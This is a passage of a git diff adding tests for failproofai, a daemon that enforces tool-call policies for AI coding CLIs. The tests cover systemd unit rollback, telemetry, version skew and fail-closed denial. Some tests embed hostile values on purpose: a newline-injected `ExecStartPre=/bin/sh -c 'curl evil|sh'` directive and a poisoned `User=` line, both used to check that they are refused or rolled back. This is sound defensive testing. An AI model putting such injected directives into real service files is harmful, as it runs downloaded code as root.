process.env.FAILPROOFAI_CLI_CMD = "/usr/bin/true --cli-cmd-sentinel"; + setPlatform("linux"); + const { installDaemonService, ensureDaemonServiceCurrent } = await import( + "../../src/hooks/daemon-service" + ); + + expect((await installDaemonService()).installed).toBe(true); + stripCliCommandFromUnit(); + + // The upgrading process cannot work out a worker command of its own. + delete process.env.FAILPROOFAI_WORKER_CMD; + process.env.FAILPROOFAI_PACKAGE_ROOT = "/nonexistent/package/root"; + + expect(await ensureDaemonServiceCurrent()).toEqual({ outcome: "rewritten", daemonRunning: true }); + expect(readFileSync(unitPath, "utf8")).toContain( + 'Environment="FAILPROOFAI_WORKER_CMD=/usr/bin/node /baked/at/install/worker.mjs"', + ); + }, 30_000); + + it("puts the old definition back when the rewritten one will not start", async () => { + // Unlike install, this path runs against a HEALTHY, RUNNING daemon — + // and on a daemonConfigured machine a daemon that is down is not a + // missing feature, it is every tool call across all 12 CLIs denied + // against a socket nothing is listening on. So a refresh that stops + // the service and cannot start it again has to be able to undo itself; + // "the audit lane stays broken" is a far cheaper failure than that. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + process.env.FAILPROOFAI_CLI_CMD = "/usr/bin/true --cli-cmd-sentinel"; + setPlatform("linux"); + const { installDaemonService, ensureDaemonServiceCurrent, daemonServiceStatus } = await import( + "../../src/hooks/daemon-service" + ); + + expect((await installDaemonService()).installed).toBe(true); + stripCliCommandFromUnit(); + const legacy = readFileSync(unitPath, "utf8"); + + // Forced only AFTER the install, so the unit on disk is a good one: + // the injected `User=` overrides the real one and systemd refuses to + // start the regenerated unit. Poisoning the value is the only lever + // this test has on a definition the code generates itself, and the + // shape it produces is the realistic one — a definition systemd + // accepts and then cannot run. + process.env.FAILPROOFAI_CLI_CMD = '/usr/bin/true"\nUser=failproofai-no-such-user'; + + const result = await ensureDaemonServiceCurrent(); + expect(result.outcome).toBe("failed"); + // The verdict the wizard branches on: the daemon is back, so it must + // NOT clear daemonConfigured and drop the machine off the daemon. + expect(result.daemonRunning).toBe(true); + + expect(readFileSync(unitPath, "utf8")).toBe(legacy); + expect(daemonServiceStatus()).toBe("running"); + }, 40_000); + + it("installDaemonService fails cleanly when the binary cannot be resolved", async () => { + // Scratch HOME + downloads off, or "cannot be resolved" is a lie: + // install would reach ensureFailproofaidBinary, fetch the real + // release asset over the network, and succeed. It did exactly that + // on CI — passing locally only because this sandbox has no network + // access in the test environment. + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("linux"); + const { installDaemonService } = await import("../../src/hooks/daemon-service"); + const result = await installDaemonService(); + expect(result.installed).toBe(false); + expect(result.reason).toBeTruthy(); + expect(existsSync(unitPath)).toBe(false); + }); + }, + ); +}); diff --git a/__tests__/hooks/daemon-telemetry.test.ts b/__tests__/hooks/daemon-telemetry.test.ts new file mode 100644 index 00000000..63dad881 --- /dev/null +++ b/__tests__/hooks/daemon-telemetry.test.ts @@ -0,0 +1,117 @@ +/** + * The seam between the CLI's telemetry and the daemon's. + * + * They are two processes in two languages posting to one PostHog project, and + * every way they can disagree is silent. A drifted API key sends daemon events + * to a project nobody reads; a drifted `state/telemetry-id` path files one + * machine as two persons; a `$lib` shared with the hook dispatcher makes "which + * component reported this" unanswerable. None of that fails anything at runtime, + * so it is asserted here instead. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { mkdtempSync, rmSync, readFileSync, statSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { POSTHOG_API_KEY, POSTHOG_PRODUCT } from "../../src/posthog-key"; +import { telemetryIdFile } from "../../src/hooks/fp-home"; + +const RUST_TELEMETRY = resolve(__dirname, "../../crates/failproofaid/src/telemetry.rs"); + +describe("the daemon's PostHog constants mirror the TypeScript ones", () => { + const rust = readFileSync(RUST_TELEMETRY, "utf-8"); + + it("posts to the same project as every other dispatcher", () => { + // Rust cannot import src/posthog-key.ts, so the key is a literal there. A + // rotated key that is changed in one file and not the other produces a + // daemon that reports perfectly into a project nobody looks at. + expect(rust).toContain(`const POSTHOG_API_KEY: &str = "${POSTHOG_API_KEY}";`); + expect(rust).toContain(`const POSTHOG_PRODUCT: &str = "${POSTHOG_PRODUCT}";`); + }); + + it("uses a $lib none of the other four dispatchers uses", () => { + // failproofai (the Next.js server), failproofai-hooks (the CLI and hook + // binary), failproofai-web, failproofai-install — and now this one. A daemon + // event that claimed to be a hook event would be indistinguishable from one. + expect(rust).toContain(`const LIB: &str = "failproofai-daemon";`); + for (const taken of ["failproofai-hooks", "failproofai-web", "failproofai-install"]) { + expect(rust).not.toContain(`const LIB: &str = "${taken}"`); + } + }); + + it("reads the telemetry id from the path fp-home.ts writes it to", () => { + // Both halves of one agreement, in one assertion: fp-home.ts's own test pins + // the TypeScript side to state/telemetry-id, and this pins the Rust side to + // the same two segments. + const paths = readFileSync( + resolve(__dirname, "../../crates/failproofaid/src/paths.rs"), + "utf-8", + ); + expect(paths).toContain(`home.join("state").join("telemetry-id")`); + }); +}); + +describe("getInstanceId publishes what it resolved", () => { + let home: string; + let prevHome: string | undefined; + + beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-telemetry-id-")); + process.env.FAILPROOFAI_HOME = home; + // The id is memoised per module instance, and publication happens on the + // first resolution — so every case here needs a fresh module. + vi.resetModules(); + }); + + afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); + vi.resetModules(); + }); + + it("writes the id the daemon will report under, owner-only", async () => { + const { getInstanceId } = await import("../../lib/telemetry-id"); + const id = getInstanceId(); + expect(readFileSync(telemetryIdFile(), "utf-8")).toBe(id); + // The file names nothing secret, but nothing else under state/ is + // world-readable either and this is the id a whole PostHog person hangs off. + expect(statSync(telemetryIdFile()).mode & 0o777).toBe(0o600); + }); + + it("leaves no staging file behind", async () => { + // The write is tmp → rename because a torn id is not a lost byte: the daemon + // would adopt whatever is on disk as a permanent, wrong person id. + const { getInstanceId } = await import("../../lib/telemetry-id"); + getInstanceId(); + const { readdirSync } = await import("node:fs"); + expect(readdirSync(resolve(home, "state")).filter((f) => f.endsWith(".tmp"))).toEqual([]); + }); + + it("rewrites a file whose contents disagree with what it resolved", async () => { + // A home restored from a backup, or copied off another machine. The CLI's + // answer is authoritative — leaving a stale value would keep the daemon + // reporting as a machine this is not. + mkdirSync(resolve(home, "state"), { recursive: true }); + writeFileSync(telemetryIdFile(), "someone-elses-id"); + const { getInstanceId } = await import("../../lib/telemetry-id"); + const id = getInstanceId(); + expect(id).not.toBe("someone-elses-id"); + expect(readFileSync(telemetryIdFile(), "utf-8")).toBe(id); + }); + + it("never throws when the home cannot be written", async () => { + // This runs on the hook path. A telemetry id that could not be published is + // worth nothing next to a tool call that did not complete. + // + // The home is pointed *inside a regular file*, so every write below fails + // with ENOTDIR — unwritable in a way that holds for root as well, which a + // chmod would not, and that CI runners reach the same way a developer does. + const blocker = resolve(home, "not-a-directory"); + writeFileSync(blocker, ""); + process.env.FAILPROOFAI_HOME = resolve(blocker, "failproofai"); + const { getInstanceId } = await import("../../lib/telemetry-id"); + expect(() => getInstanceId()).not.toThrow(); + expect(getInstanceId()).toMatch(/^[0-9a-f-]+$/); + }); +}); diff --git a/__tests__/hooks/daemon-unit-conditions.test.ts b/__tests__/hooks/daemon-unit-conditions.test.ts new file mode 100644 index 00000000..b67dc3c4 --- /dev/null +++ b/__tests__/hooks/daemon-unit-conditions.test.ts @@ -0,0 +1,153 @@ +// @vitest-environment node +// +// The unit is gated on the files it cannot run without, so an install that is +// no longer there STOPS instead of thrashing. +// +// Without the gate, `npm rm -g failproofai` leaves a unit whose worker script +// npm just deleted, and a deleted DAEMON BINARY is worse still: ExecStart fails +// 203/EXEC under `Restart=on-failure` and cycles until it trips the start-limit +// and latches into "start request repeated too quickly" — a state that then +// refuses a legitimate restart later. (That latch is a bug this repo has +// already had to fix once, from the other end, with `systemctl reset-failed`.) +// +// A failed condition is not a failure: systemd skips the job and names the +// missing path, and `daemonServiceStatus()` reads it back as `condition-failed` +// so the next CLI command can clear `daemonConfigured` rather than leave the +// machine denying every tool call with nothing to point at. + +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +let dir: string; +const originalEnv = { ...process.env }; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-unit-")); + vi.resetModules(); +}); + +afterEach(() => { + process.env = { ...originalEnv }; + rmSync(dir, { recursive: true, force: true }); +}); + +describe("hooks/daemon-service — unit conditions", () => { + it("gates the unit on the daemon binary AND the worker script", async () => { + const pkgRoot = join(dir, "pkg"); + mkdirSync(join(pkgRoot, "dist"), { recursive: true }); + const workerScript = join(pkgRoot, "dist", "worker.mjs"); + writeFileSync(workerScript, "//worker\n"); + process.env.FAILPROOFAI_PACKAGE_ROOT = pkgRoot; + delete process.env.FAILPROOFAI_WORKER_CMD; + + const { systemdUnitContents, resolveWorkerCommand } = await import( + "../../src/hooks/daemon-service" + ); + // Written to disk because only paths that EXIST are gated on — which is how + // an ExecStart carrying arguments is told apart from a bare path. + const binary = join(dir, "failproofaid"); + writeFileSync(binary, "#!/bin/sh\n", { mode: 0o755 }); + const unit = systemdUnitContents(binary, resolveWorkerCommand(), null); + + expect(unit).toContain(`ConditionPathExists=${binary}`); + expect(unit).toContain(`ConditionPathExists=${workerScript}`); + // In [Unit], not [Service] — systemd only honours it in the former, and a + // misplaced directive is silently ignored rather than rejected. + const unitSection = unit.slice(unit.indexOf("[Unit]"), unit.indexOf("[Service]")); + expect(unitSection).toContain("ConditionPathExists="); + }); + + it("gates on the binary alone when the worker command is someone else's", async () => { + // FAILPROOFAI_WORKER_CMD is an arbitrary shell command — a wrapper, an + // interpreter with flags. Guessing which token in it must exist would gate + // the service on a path nobody promised, so no condition is the right + // answer rather than a guessed one. + process.env.FAILPROOFAI_WORKER_CMD = "/usr/local/bin/my-wrapper --serve"; + const { systemdUnitContents, workerScriptPath } = await import( + "../../src/hooks/daemon-service" + ); + const binary = join(dir, "failproofaid"); + writeFileSync(binary, "#!/bin/sh\n", { mode: 0o755 }); + const unit = systemdUnitContents(binary, process.env.FAILPROOFAI_WORKER_CMD, null); + + expect(workerScriptPath()).toBeNull(); + expect(unit).toContain(`ConditionPathExists=${binary}`); + // Exactly one condition — the binary. The wrapper still appears in the unit + // as the Environment= value (that is its job); what must not happen is a + // guessed token from it becoming a path the service is gated on. + const conditions = unit.match(/^ConditionPathExists=.*$/gm) ?? []; + expect(conditions).toHaveLength(1); + expect(conditions.join("\n")).not.toContain("my-wrapper"); + }); + + it("does not gate on a worker script that is not there yet", async () => { + // A condition baked in against a missing path would make the freshly + // installed unit skip on its very first start. + process.env.FAILPROOFAI_PACKAGE_ROOT = join(dir, "nonexistent"); + delete process.env.FAILPROOFAI_WORKER_CMD; + const { workerScriptPath } = await import("../../src/hooks/daemon-service"); + expect(workerScriptPath()).toBeNull(); + }); + + it("still refuses paths that would inject directives into the unit", async () => { + // The condition lines interpolate a path into a root-owned file loaded at + // every boot; they must go through the same guard ExecStart does. A newline + // ENDS the directive, so anything after it is an injected setting. + process.env.FAILPROOFAI_PACKAGE_ROOT = join(dir, "pkg"); + delete process.env.FAILPROOFAI_WORKER_CMD; + const { systemdUnitContents } = await import("../../src/hooks/daemon-service"); + expect(() => + systemdUnitContents(`/tmp/x\nExecStartPre=/bin/sh -c 'curl evil|sh'`, null, null), + ).toThrow(); + }); + + it("does not gate on an ExecStart that carries arguments", async () => { + // `binaryPath` is an ExecStart value, and systemd accepts arguments there — + // this repo's own systemd lifecycle tests set FAILPROOFAI_DAEMON_BINARY to + // `/usr/bin/sleep infinity`. `ConditionPathExists=` takes a PATH, so gating + // on that string hunts for a file literally named "sleep infinity", never + // finds it, and skips a unit that would have run perfectly. Splitting on + // whitespace to recover the binary is not an option either: a path may + // legally contain spaces. + process.env.FAILPROOFAI_PACKAGE_ROOT = join(dir, "nope"); + delete process.env.FAILPROOFAI_WORKER_CMD; + const { systemdUnitContents } = await import("../../src/hooks/daemon-service"); + const unit = systemdUnitContents("/usr/bin/sleep infinity", null, null); + + expect(unit).toContain("ExecStart=/usr/bin/sleep infinity"); + expect(unit).not.toContain("ConditionPathExists="); + }); + + it("gates on a real binary that exists on disk", async () => { + const binary = join(dir, "failproofaid"); + writeFileSync(binary, "#!/bin/sh\n", { mode: 0o755 }); + process.env.FAILPROOFAI_PACKAGE_ROOT = join(dir, "nope"); + delete process.env.FAILPROOFAI_WORKER_CMD; + const { systemdUnitContents } = await import("../../src/hooks/daemon-service"); + expect(systemdUnitContents(binary, null, null)).toContain(`ConditionPathExists=${binary}`); + }); +}); + +describe("hooks/daemon-service — condition-failed status", () => { + // The subprocess half reads /etc/systemd/system at a fixed path that no unit + // test may write, so the INTERPRETATION is tested here and the live systemd + // behaviour is proven in the container test. + it("treats a literal `no` as condition-failed", async () => { + const { interpretConditionResult } = await import("../../src/hooks/daemon-service"); + expect(interpretConditionResult("no\n")).toBe("condition-failed"); + expect(interpretConditionResult("no")).toBe("condition-failed"); + }); + + it("treats everything else as stopped", async () => { + // A restart in flight reports `yes` and looks identical to a stopped unit; + // clearing `daemonConfigured` on it would silently downgrade a healthy + // machine to the in-process path. An empty answer (a unit systemd has not + // evaluated since boot) and an unknown future word must land the same way. + const { interpretConditionResult } = await import("../../src/hooks/daemon-service"); + for (const raw of ["yes\n", "", " ", "unknown", "No"]) { + expect(interpretConditionResult(raw)).toBe("stopped"); + } + }); +}); diff --git a/__tests__/hooks/daemon-version-skew.test.ts b/__tests__/hooks/daemon-version-skew.test.ts new file mode 100644 index 00000000..644902dd --- /dev/null +++ b/__tests__/hooks/daemon-version-skew.test.ts @@ -0,0 +1,161 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, existsSync, utimesSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { version as cliVersion } from "../../package.json"; +import { binDir, versionFile } from "../../src/hooks/fp-home"; +import { writeVersionFile, readVersionFile, readConfig } from "../../src/hooks/fp-config"; +import { daemonVersionSkew } from "../../src/hooks/daemon-service"; +import { pruneOldDaemonBinaries } from "../../src/hooks/daemon-download"; + +let home: string; +let prevHome: string | undefined; +let prevBinary: string | undefined; +let prevRoot: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + prevBinary = process.env.FAILPROOFAI_DAEMON_BINARY; + prevRoot = process.env.FAILPROOFAI_PACKAGE_ROOT; + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + home = mkdtempSync(resolve(tmpdir(), "fpai-skew-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + for (const [k, v] of [ + ["FAILPROOFAI_HOME", prevHome], + ["FAILPROOFAI_DAEMON_BINARY", prevBinary], + ["FAILPROOFAI_PACKAGE_ROOT", prevRoot], + ] as const) { + if (v === undefined) delete process.env[k]; + else process.env[k] = v; + } + rmSync(home, { recursive: true, force: true }); + vi.restoreAllMocks(); +}); + +/** A managed install of `ver`: the binary on disk plus the VERSION record. */ +function installed(ver: string) { + mkdirSync(binDir(), { recursive: true }); + writeFileSync(resolve(binDir(), `failproofaid-${ver}`), "ELF"); + writeVersionFile({ daemon: ver }); +} + +describe("daemonVersionSkew", () => { + it("is null when the installed daemon matches this CLI", () => { + installed(cliVersion); + expect(daemonVersionSkew()).toBeNull(); + }); + + it("reports the pair when the daemon is older", () => { + // The upgrade case: npm moved the CLI, the daemon did not. + installed("0.0.1-old"); + expect(daemonVersionSkew()).toEqual({ installed: "0.0.1-old", expected: cliVersion }); + }); + + it("is null when nothing has been installed yet", () => { + // A fresh machine is not "stale" — there is nothing to be stale. + expect(daemonVersionSkew()).toBeNull(); + }); + + it("is null when FAILPROOFAI_DAEMON_BINARY names one explicitly", () => { + // Someone pointed at a binary on purpose. Its version is their business, + // and second-guessing it would nag on every command. + installed("0.0.1-old"); + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/local/bin/failproofaid"; + expect(daemonVersionSkew()).toBeNull(); + }); + + it("is null for a locally-built binary with no managed install", () => { + // The contributor setup this repo documents: `bun link` + a cargo build. + // Reporting "stale" on every command there would be noise about the exact + // configuration we tell people to use. + writeVersionFile({ daemon: "0.0.1-old" }); + // No file under bin/ — the recorded version is not a managed install. + expect(daemonVersionSkew()).toBeNull(); + }); +}); + +describe("recording the version", () => { + it("keeps the daemon version across a CLI-only rewrite", () => { + // A rewrite that never touched the daemon must not erase what it knows. + writeVersionFile({ daemon: "1.2.3" }); + writeVersionFile({ cli: "9.9.9" }); + expect(readVersionFile()).toMatchObject({ cli: "9.9.9", daemon: "1.2.3" }); + }); + + it("erases it only when asked explicitly", () => { + // Uninstall: a recorded version for a service that is gone is a claim + // about this machine that is no longer true. + writeVersionFile({ daemon: "1.2.3" }); + writeVersionFile({ clearDaemon: true }); + expect(readVersionFile()?.daemon).toBeUndefined(); + }); + + it("does not duplicate the version into config.toml", () => { + // One copy cannot disagree with itself. Two can. + installed(cliVersion); + expect(Object.keys(readConfig().daemon)).toEqual(["configured"]); + expect(existsSync(versionFile())).toBe(true); + }); +}); + +describe("pruneOldDaemonBinaries", () => { + function seed(name: string, ageMinutes: number) { + mkdirSync(binDir(), { recursive: true }); + const p = resolve(binDir(), name); + writeFileSync(p, "ELF"); + const t = Date.now() / 1000 - ageMinutes * 60; + utimesSync(p, t, t); + return p; + } + + it("keeps the current and previous, drops older", () => { + // One previous version is kept on purpose: rollback then costs a local + // file rather than a download, which matters offline or behind a proxy. + const newest = seed("failproofaid-1.0.0-beta.7", 0); + const prev = seed("failproofaid-1.0.0-beta.6", 10); + const old1 = seed("failproofaid-1.0.0-beta.5", 20); + const old2 = seed("failproofaid-1.0.0-beta.4", 30); + + const removed = pruneOldDaemonBinaries(); + + expect(existsSync(newest)).toBe(true); + expect(existsSync(prev)).toBe(true); + expect(existsSync(old1)).toBe(false); + expect(existsSync(old2)).toBe(false); + expect(removed).toHaveLength(2); + }); + + it("orders by mtime, not by parsing version strings", () => { + // beta.10 vs beta.9 is exactly where naive version sorting goes wrong. + // "Which did we install most recently" is the question that matters. + const ten = seed("failproofaid-1.0.0-beta.10", 0); + const nine = seed("failproofaid-1.0.0-beta.9", 5); + const eight = seed("failproofaid-1.0.0-beta.8", 10); + + pruneOldDaemonBinaries(); + + expect(existsSync(ten)).toBe(true); + expect(existsSync(nine)).toBe(true); + expect(existsSync(eight)).toBe(false); + }); + + it("is a no-op with nothing to prune, and never throws on a missing dir", () => { + expect(pruneOldDaemonBinaries()).toEqual([]); + seed("failproofaid-1.0.0", 0); + expect(pruneOldDaemonBinaries()).toEqual([]); + }); + + it("ignores half-written temp files", () => { + // installBinaryBytes stages as ..tmp before the atomic rename. + // Pruning one mid-install would break the install that is writing it. + seed("failproofaid-1.0.0-beta.7", 0); + seed("failproofaid-1.0.0-beta.6", 5); + const tmp = seed("failproofaid-1.0.0-beta.8.123.tmp", 10); + pruneOldDaemonBinaries(); + expect(existsSync(tmp)).toBe(true); + }); +}); diff --git a/__tests__/hooks/default-ingest-url.test.ts b/__tests__/hooks/default-ingest-url.test.ts new file mode 100644 index 00000000..44dc2752 --- /dev/null +++ b/__tests__/hooks/default-ingest-url.test.ts @@ -0,0 +1,73 @@ +// @vitest-environment node +// +// The default ingest endpoint is written down TWICE — once in TypeScript for +// the CLI, once in Rust for the daemon — and both copies say "MUST stay +// byte-identical" while nothing checked that they were. +// +// The duplication is deliberate and cannot be removed: the CLI resolves a +// credential to VERIFY the endpoint at setup, and the daemon resolves one +// independently to POST to it. Neither reads the other's constant. So a +// divergence does not fail loudly — the CLI validates one URL, tells the user +// they are connected, and the daemon ships to a different one. The daemon looks +// healthy, the wizard looked happy, and nothing ever arrives. That failure is +// invisible from both ends, which is precisely why it needs a tripwire rather +// than a comment. +// +// Read from SOURCE rather than by importing the TS constant and shelling out to +// cargo: this must fail on a machine with no Rust toolchain, in CI's quality +// job, and before anything is compiled. + +import { describe, it, expect } from "vitest"; +import { readFileSync } from "node:fs"; +import { resolve } from "node:path"; + +import { DEFAULT_INGEST_URL } from "../../src/hooks/collector-config"; +import { INGEST_PATH } from "../../src/hooks/cloud-connection"; + +const RUST_CONFIG = resolve(__dirname, "../../crates/fpai-collect/src/config.rs"); + +/** The Rust literal, read out of the source text. */ +function rustDefaultIngestUrl(): string { + const src = readFileSync(RUST_CONFIG, "utf-8"); + const m = /pub const DEFAULT_INGEST_URL: &str = "([^"]+)";/.exec(src); + if (!m) { + throw new Error( + `Could not find DEFAULT_INGEST_URL in ${RUST_CONFIG}. If it was renamed or ` + + `restructured, update this test — do not delete it; it is the only thing ` + + `keeping the two copies in agreement.`, + ); + } + return m[1]; +} + +describe("DEFAULT_INGEST_URL — the TS and Rust copies", () => { + it("are byte-identical", () => { + expect(rustDefaultIngestUrl()).toBe(DEFAULT_INGEST_URL); + }); + + it("carry the versioned path, not the flat one", () => { + // `/v1/events`, never `/events`. The server mounts its routes twice so both + // work when talking to it DIRECTLY — which is what makes a flat path look + // fine in a Compose test and fail on the hosted deployment, where the proxy + // routes only `/v1/*` to the server and hands `/events` to the Next.js app. + // That app answers, so the failure is a cheerful 200 rather than an error. + expect(DEFAULT_INGEST_URL.endsWith(INGEST_PATH)).toBe(true); + expect(rustDefaultIngestUrl().endsWith(INGEST_PATH)).toBe(true); + }); + + it("is https, since it carries a bearer token", () => { + // `validateCloudUrl` permits http for loopback only. The shipped default is + // never loopback, so http here would put every machine's ingest key on the + // wire in clear. + expect(DEFAULT_INGEST_URL.startsWith("https://")).toBe(true); + }); + + it("is a complete endpoint, so nothing joins a path onto it", () => { + // The Rust side POSTs to this value verbatim (`client.post(&self.url)`). + // A bare origin here would ship every batch to the site root. + const u = new URL(DEFAULT_INGEST_URL); + expect(u.pathname).not.toBe("/"); + expect(u.search).toBe(""); + expect(u.hash).toBe(""); + }); +}); diff --git a/__tests__/hooks/fail-closed-force-decision.test.ts b/__tests__/hooks/fail-closed-force-decision.test.ts new file mode 100644 index 00000000..f6173e13 --- /dev/null +++ b/__tests__/hooks/fail-closed-force-decision.test.ts @@ -0,0 +1,287 @@ +// @vitest-environment node +/** + * The fail-closed path, against the real evaluation engine. + * + * `forceDecision` is what `bin/failproofai.mjs` reaches for when a + * daemon-configured machine cannot reach its daemon. It is the single most + * consequential branch in the product — it denies EVERYTHING, on every CLI — + * and it had no test at all: `grep -rn forceDecision __tests__/` returned + * nothing, and the only coverage was a pair of shell scripts that hardcode an + * absolute developer path, are outside the vitest glob, and run in no workflow. + * + * Deliberately unmocked apart from telemetry. What matters here is the exact + * bytes an agent receives, and a mocked `policy-evaluator` would assert the + * shape of a stub instead of the shape of a deny. + */ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); + +/** Captured so a degraded-but-silent failure is distinguishable from a clean run. */ +const warnings: string[] = []; +vi.mock("../../src/hooks/hook-logger", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + hookLogWarn: vi.fn((msg: string) => { + warnings.push(msg); + }), + }; +}); + +import { evaluateHookEvent } from "../../src/hooks/handler"; + +const FORCED = { + decision: "deny" as const, + reason: "failproofaid could not be reached.", +}; + +let projectDir: string; + +beforeEach(() => { + warnings.length = 0; + projectDir = mkdtempSync(join(tmpdir(), "fpai-fail-closed-")); + mkdirSync(join(projectDir, ".failproofai"), { recursive: true }); +}); + +afterEach(() => { + rmSync(projectDir, { recursive: true, force: true }); +}); + +function stdin(extra: Record = {}): string { + return JSON.stringify({ session_id: "s1", cwd: projectDir, ...extra }); +} + +/** Claude's PreToolUse deny is JSON on stdout at exit 0, not a nonzero exit. */ +function permissionDecisionOf(stdout: string): string | undefined { + try { + const parsed = JSON.parse(stdout) as { + hookSpecificOutput?: { permissionDecision?: string }; + }; + return parsed.hookSpecificOutput?.permissionDecision; + } catch { + return undefined; + } +} + +describe("hooks/handler forceDecision (fail-closed)", () => { + it("denies a tool call and gives the operator the reason verbatim", async () => { + const result = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + }), { forceDecision: FORCED }); + + expect(permissionDecisionOf(result.stdout)).toBe("deny"); + expect(`${result.stdout}${result.stderr}`).toContain("failproofaid could not be reached"); + }); + + it("denies a command no policy would ever object to", async () => { + // The point of fail-closed: the verdict does not depend on the command. + const result = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Read", + tool_input: { file_path: join(projectDir, "README.md") }, + }), { forceDecision: FORCED }); + + expect(permissionDecisionOf(result.stdout)).toBe("deny"); + }); + + // The synthetic policy registers with `match: {}` (handler.ts), which matches + // EVERY event — including the one that carries what the user typed. So a + // machine whose daemon is down cannot merely not run tools; it cannot hold a + // conversation. That is the difference between "enforcement is degraded" and + // "the product is bricked", and it is the reason a repair route exists at all + // (see `probeDaemonEndToEnd` and `healDaemonFlag`). Pinned as the current, + // deliberate behaviour so that changing it is a decision rather than an + // accident. + it("also denies UserPromptSubmit — the user cannot even talk to their agent", async () => { + const result = await evaluateHookEvent("UserPromptSubmit", "claude", stdin({ prompt: "hello" }), { + forceDecision: FORCED, + }); + + expect(`${result.stdout}${result.stderr}`).toContain("failproofaid could not be reached"); + expect(result.exitCode !== 0 || permissionDecisionOf(result.stdout) === "deny").toBe(true); + }); + + it("loads no project policy config — an unreachable daemon ran none of it", async () => { + // A custom policy file that would throw if it were ever imported. The + // fail-closed branch must not touch the project's configuration at all: + // the daemon it could not reach never evaluated any of it either, so + // loading it here would report a decision no daemon made. + const policyPath = join(projectDir, "exploding-policies.mjs"); + writeFileSync(policyPath, `throw new Error("must never be imported on the fail-closed path");\n`); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: [], customPoliciesPaths: [policyPath] }), + ); + + const result = await evaluateHookEvent("PreToolUse", "claude", stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + }), { forceDecision: FORCED }); + + expect(permissionDecisionOf(result.stdout)).toBe("deny"); + expect(`${result.stdout}${result.stderr}`).not.toContain("must never be imported"); + }); +}); + +/** + * The outer boundary in `bin/failproofai.mjs` — the last thing standing between + * an unexpected throw and a silent allow. + * + * The header of the corrupt-manifest suite below already describes this failure + * exactly: "the throw reaches the CLI's outer catch, which exits 2 with nothing + * on stdout — a deny on Claude and Factory, but a warning followed by an ALLOW + * on the [CLIs] that read a decision off stdout and ignore the exit code." + * `readActiveCloudManagedPolicies` was wrapped to stop ONE source of such + * throws, but the boundary itself still failed open for every other source — + * including a throw from the forced-deny call that handles an unreachable + * daemon, i.e. the fail-closed path failing open. + */ +describe("the fail-closed verdict is enforcing on every supported CLI", () => { + // Every CLI the `--hook` entrypoint accepts. Kept literal rather than derived, + // so adding a CLI without deciding how it denies fails here. + const CLIS = [ + "claude", "codex", "copilot", "cursor", "opencode", "pi", + "hermes", "openclaw", "factory", "devin", "antigravity", "goose", + ] as const; + + // The CLIs that read their verdict from stdout JSON and IGNORE the exit code. + // For these, an empty stdout is not a weak deny — it is an allow. + const STDOUT_DRIVEN = [ + "cursor", "pi", "hermes", "openclaw", "devin", "antigravity", "goose", + ] as const; + + it.each(CLIS)("%s receives a verdict that actually enforces", async (cli) => { + const result = await evaluateHookEvent("PreToolUse", cli, stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + }), { forceDecision: FORCED }); + + const emitted = `${result.stdout}${result.stderr}`; + expect(emitted).toContain("failproofaid could not be reached"); + expect( + result.stdout.length > 0 || result.exitCode !== 0, + "a verdict with no stdout and a zero exit is an allow", + ).toBe(true); + }); + + it.each(STDOUT_DRIVEN)("%s gets its deny on stdout, not merely an exit code", async (cli) => { + const result = await evaluateHookEvent("PreToolUse", cli, stdin({ + tool_name: "Bash", + tool_input: { command: "echo hi" }, + }), { forceDecision: FORCED }); + + expect(result.stdout.length).toBeGreaterThan(0); + expect(() => JSON.parse(result.stdout)).not.toThrow(); + expect(result.stdout).toContain("failproofaid could not be reached"); + }); +}); + +/** + * A tripwire on the `--hook` catch block itself. + * + * The logic lives in `bin/failproofai.mjs`, which cannot be imported by vitest + * (a bare `package.json` import and extensionless TypeScript specifiers — see + * CLAUDE.md), so its shape is asserted from source, the same way + * `dogfood-configs.test.ts` guards the committed hook configs. Both properties + * here regressed silently once already. + */ +describe("bin/failproofai.mjs --hook error boundary", () => { + const source = readFileSync( + join(__dirname, "..", "..", "bin", "failproofai.mjs"), + "utf8", + ); + // From `} catch (err) {` after the hook block to the end of that handler. + const hookCatch = source.slice( + source.indexOf("const hookIdx = args.indexOf(\"--hook\");"), + source.indexOf("Centralised error handler for all CLI subcommands"), + ); + + it("writes a decision to stdout rather than exiting silently", () => { + // The whole bug: the handler logged to stderr and exited, writing zero + // bytes to stdout — which the stdout-driven CLIs above read as an allow. + expect(hookCatch).toMatch(/catch \(err\)[\s\S]*process\.stdout\.write/); + }); + + it("never leaves the hook path through a bare process.exit", () => { + // 